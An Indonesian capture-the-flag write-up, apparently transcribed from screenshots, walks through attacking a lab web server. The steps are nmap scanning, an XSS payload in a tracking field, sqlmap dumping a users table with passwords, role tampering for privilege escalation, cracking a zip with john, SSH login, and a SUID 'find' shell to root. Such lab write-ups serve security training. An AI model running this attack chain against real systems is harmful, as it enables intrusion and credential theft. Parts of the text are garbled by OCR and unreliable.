CAPTURE THE FLAG

Nama Team: Warunk Java

Engineer: Abdurrohman Al Fathi

Proses scanning dengan nmap secara keseluruhan host pada segment 192.168.56.0/24 untuk
mengetahui port mana saja yang terbuka:

Comand: nmap -sV 192.168.56.0/24
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Terdapat 2 host yang aktif, port 80 dan 22:
>192.168.56.108
>192.168.56.107

Dari semua ip yang muncul ketika dicek di search engine ternyata ip web CTF nya terdapat di ip
>>>192.168.56.107 | http://192.168.56.107
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Logistics Services

Didapati celah pada function track id setelah dimasukan payload(xss script js) ini:

<img/src/onerror=prompt(8)>

Ketika di inspect dan dibuka di console terdapat flag (XSS) FLAG:

FLAG(Javascript_ezpz)

Logistics Services

Track & Trace

Pencarian tidak ditemukan
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Terdapat celah pada menu contact, Kita akan menggunakan metode sql injection parameter
Post untuk Memanipulasi data agar kita bisa berkomunikasi Ke dalam databases server pada
Web CTF
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Tools yang digunakan, SQLmap pada kali linux untuk melakukan sql injection

Command: sglmap -u 'http://192.168.56.107/contact.php' --batch --data
'nama=mans&email=mans@gmail.com&subject=faster&message=kerusakan'

--dbs untuk menampilkan databases
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Terdapat databases :
>information_schema
>pengiriman
Kita akan mencari table yang terdapat di databases pengiriman

command: sqlmap -u 'http://192.168.56.107/contact.php' --batch --data
'nama=mans&email=mans@gmail.com&subject=faster&message=kerusakan' -D pengiriman --

tables
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Terdapat 2 tabel dari database pengiriman:
>contact_form
>users
Kita akan mencari kolom dari users yang berisi data untuk login admin web CTF
Command: sglmap -u 'http://192.168.56.107/contact.php' --batch --data

'nama=mans&email=mans@gmail.com&subject=faster&message=kerusakan' -D pengiriman -T
users --columns
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Terdapat (email,id ,password,role_id,username) kita akan nge dump data dari table users

Command: sglmap -u 'http://192.168.56.107/contact.php' --batch --data
'nama=mans&email=mans@gmail.com&subject=faster&message=kerusakan' -D pengiriman -T
users -C email,id,password,role_id,username --dump
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Di dapati 2 email login dan password

Email Password
admin@zerobyte.id | NgehekAdminYuk!
suhada@zerobyte.id | OxshdaxLowUSER!




Lanjut... kita akan login admin web CTF
Supaya halaman admin muncul ketik dibelakang url web CTF /admin/

Dan kita akan masuk dengan email suhada@zerobyte.id sebagai low user

Halaman Login - Administrator

Em ail address
suhada@zerobyte.id

Password

Jika sudah klik login tampilan web akan seperti ini

A ampleadmin

Dashboard Dashboard

® Dashboard

& Profile

Total Visit Total Page Views Unique Visitor
e ulilal 659 il 869 alila 911
Products Yearly Sales
FLAG{@XSQL InJecT lon_Blind) e iR
Terdapat flag pada halaman admin low user: (SQL INJECTION)
FLAG:

FLAG{0xSQL!nJecT!®n_Blind)
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Lanjut... setelah ini mengubah hak Low user menjadi super user/root pada email suhada untuk
mendapatkan file credential.zip. diwebsite CTF ini terdapat celah miskonfigurasi, pada function
update role program yang dimana seharusnya low user tidak mendapatkan hak akses super
user/root karna memungkinkan untuk user mengganti role

Klik profile setelah itu inspect pada bagian password

Praofile page

Username
a suhada
Email
suhada suhada@zerobyte.id
suhada abyte.id
Password

Setelah itu masuk ke bagian role_id cari di

Lalu kita ganti dengan
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Lalu update profile pada halaman login admin

A emplecdimin @ -

Profile page Profile

® Dashboard

& Profile
Username
B Files
ada
2
Logout Email

suhada suhada@zerobyte.id

suhada@zerabyte.id

2021 ® Ample Admin brought to you by wrappixel.com

Klik pada menu Files

A umpleo dmin @ suhada@zerobyte.id

Files s
{® Dashboard Files
P F)
& Prdfile *
Files
B Files
Congrats! Anda berhasil melakukan Privilege Escalation {Broken Access Control) &
FLAG[OXPr! vilege3scalation BAC)
Logout = w
# Name Action
oL
1 Credentials.zip Download
50
2021 © Ample Admin brought to you by wrappixel.corr
3

Terdapat flag pada halaman admin di menu Files

(Previlage Escalation/Broken Access Control) FLAG:

FLAG{@xPr!vilege3scalation_BAC)



Lalu kita akan membuka file credential.zip untuk SSH kedalam server dengan keadaan terkunci

B Name

. acecess-ssh.txt

Password needed

File 'access-ssh.td' is password protected K
Please enter the password in the box

bel
o Skip File

Password: | Cancel

Selanjutnya kita akan membypass filenya dengan kali linux tools john, kita download dulu
filenya di kali linux dan di jadikan hash filenya dengan command:

Wget http://192.168.56.107/admin/dashboard/Files Backup2024/Credentials.zip (download)

zip2john Credentials.zip > zip.hash (converter file)

(home/abdurrohnan

e ———————————— L ———| 366 -.-KB/s inds

/s) - ‘Credentials.zip' saved [366/366]

[home/abdurrotman
Credentials
sh.txt PKZIP Encr: TS_chk, cmplen=172, decn

[home/abdurrohman



http://192.168.56.107/admin/dashboard/Files_Backup2024/Credentials.zip

Lalu kita akan nge brute force filenya dengan tools john menggunakan wordlist
rockyou.txt
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Congrats! Anda berhasil crack File dni dan
mendapatkan credential untuk akses SSH.o

FLAG{®OxIahnNCr-ack M=%}

Eerikut usernamse & password untuk masuk
kedalam serrwver

| dchiso
| Bankalldl3blackd

Lm9 Col1l 189 characters Unix (LF)

Terdapat flag pada file credentials.zip  (john crack) FLAG:

FLAG{OxJOhnCr4ckM3}



Kita akan meng SSH Server dari web CTF nya
Command: ssh ichigo@192.168.56.107

Dan masukan password

[ea] ichigo@ubuntu: ~

Microsoft Windows [Version 1©.€.22631.3235]
(c) Microsoft Cerporation. All rights reserved.

C:\Windows\System32>ssh ichigo@l92.168.56.107

The authenticity of host '"192.168.56.1087 (192.168.56.1687)' can't be established.
ED25519 key fingerprint is SHA256:kl1jnhP79J0EZ8DnhpIFL9vKiNfO/bXitHZZ+Z/LnhIS.
This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? y

Please type 'yes', 'no' or the fingerprint: yes

Warning: Permanently added '192.168.56.187' (ED25519) to the 1list of khnown hosts.
ichigo@l92.168.56.187's password:

Permission denied, please try again.

ichigo@l92.168.56.187's password:

Permission denied, please try again.

ichigo@l92.168.56.187's password:

Welcome to Ubuntu 23.84 (GNU/Linux 6.2.8-208-generic x86_64)

* Documentation: https://help.ubuntu. com
* Management: http /landscape.canonical.com
* Support: https://ubuntu. com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Feb 24 @7:37:45 2824
Tt

Terdapat flag ketika kita tampilkan flagnya dengan command: cat flag.txt
FLAG{@xLowUs3rw!thSSH} (Low User SSH)
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Langkah selanjutnya kita harus menjadikan user ichigo ini menjadi root

Kita akan mencari file yang memiliki previlage seperti root agar Ketika kita
masukan/memanggil filenya kita dapat hak akses seperti root caranya masukan

Command: Is -lhn /usr/bin

<. ichigo@ubuntu: ~

— W - N -
WX - X -
Rl dall dabd 4
Rl dalb d ubd 4
—PwWXE-sr-X
WX - X -
Rl dall dabd 4
— W - N -
WX - X -
Rl dall dabd 4
1w > X >
WX - X -
WX - X -
Rl dall dabd 4
— W - N -
Bl dalb d ubd 4
Rl dall dabd 4
Bl dalh d o Fh 4
WX - X -
WX - X -
Rl dalb d ubd 4
SPWESE - X — X
Bl dalb d ubd 4
Bl dalb dabd 4
Bl dalh d o Fh 4
WX - X -
WX - X -
Rl dalb d ubd 4
WX - X -
T P P

fakeroot ->
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fFusermount -> Fusermount3

Terdapat salah satu file yang memiliki hak akses sama seperti root “find”



Sekarang kita dapat mengeksekusi file find dengan command:

find . -exec /bin/sh -p \; -quit

[&+] ichigo@ubuntu: ~
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-exec /bin/sh -p \; -quit
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 whoami

# cat /root/flag.txt
ongrats! Anda sudah berhasil sejauh inil
Saya harap anda belajar lebih giat lagi untuk menjadi Profesional dibidang Securityl

FLAG{R@ot!s34sy}

Ok kita berhasil masuk ssh sebagai root dan kita berhasil menemukan flag Ketika
kita memasukan command :

Cat /root/flag.txt

Flag{Root!s34sy}
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Daftar Flag

FLAG(Javascript_ezpz)
FLAG{@OxSQL!nJecT!@n_Blind)
FLAG{@xPr!vilege3scalation_BAC)
FLAG{OxJOhnCr4ckM3}
FLAG{@xLowUs3rw!thSSH}

Flag{Root!s34sy}






